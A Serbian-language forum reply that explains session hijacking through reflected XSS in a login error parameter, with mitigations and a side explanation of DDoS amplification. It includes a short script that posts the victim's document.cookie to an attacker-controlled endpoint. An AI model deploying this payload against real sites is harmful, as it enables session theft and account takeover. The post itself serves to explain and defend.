Citat:
Branimir Maksimovic:
sta bi bio session hijacking napad? Mislim mogu da zamislim tako nesto, ali bez pristupa zrtvinom kompu tesko izvodljivo.
Scenario:
Pošalješ "žrtvi" bit.ly link koji vodi na nekisajt.com/login?error=<neki JS kod>. Žrtva klikne na link, i tom prilikom se izvrši JS kod koji pokupi cookies i pošalje ih na tvoj server ajax zahtevom.
Uslov je da je programer bio lenj i nije napravio whitelist poruka o grešci, niti se koristi escape tagova < i >, tj. sve što se primi kroz GET promenjivu error se ispiše na stranicu, a da ne postoji restrikcija sesije za IP adresu i user agent.
Rešenje se sastoji od krpljenja propusta koji dozvoljava ispis i izvršavanje nepoznatog koda, kao i ograničavanje sesije na određenu IP adresu i User-Agent string uz rok trajanja od 24h sa obnavljanjem.
Kod može da izgleda ovako:
Code:
<script>
$.post('https://mojsajt.com/endpoint', { cookies: document.cookie });
</script>
Da pojasnim komentar povodom korišćenja enkripcije kao zaštite:
Sesija se čuva na serveru a klijent u svom cookie store-u ima Session ID, koji vezuje sesiju sa tim browser-om. Enkripcija SessionID je beskorisna jer se koristi samo za vezivanje browser->session store, a kako browser sam radi management cookie-ja, nemoguće je raditi dekripciju pri slanju na server, usled čega dolazimo do toga da je to gubljenje vremena.
A što se tiče lažiranja header-a TCP paketa, ruter provajdera će to odbaciti kako ne odgovara dodeljenoj IP adresi korisnika. To se inače radi kako bi se sprečio DDoS amplification napad, gde npr. 50 000 računara sa jako malim protokom pošalje TCP paket ka google.com gde kao source navode IP žrtve, i onda Google pošalje 50 000 response paketa "žrtvi", gde je svaki response paket npr. par MB, a svaki request <1KB.
Čuveni primer DDoS amplification napada je NTP DDoS, konkretno primer iz 2014., kada je ostvaren protok od 400 Gbps ka CloudFlare endpoint-u --
https://blog.cloudflare.com/te...ntp-amplification-ddos-attack/
Dakle, svi normalni ISP-grade ruteri će odbiti paket koji nije mogao da bude validno poslat od strane korisnika. Pogotovu što je sve veći broj korisnika iza CGNAT, gde je praktično nemoguće išta nevalidno progurati.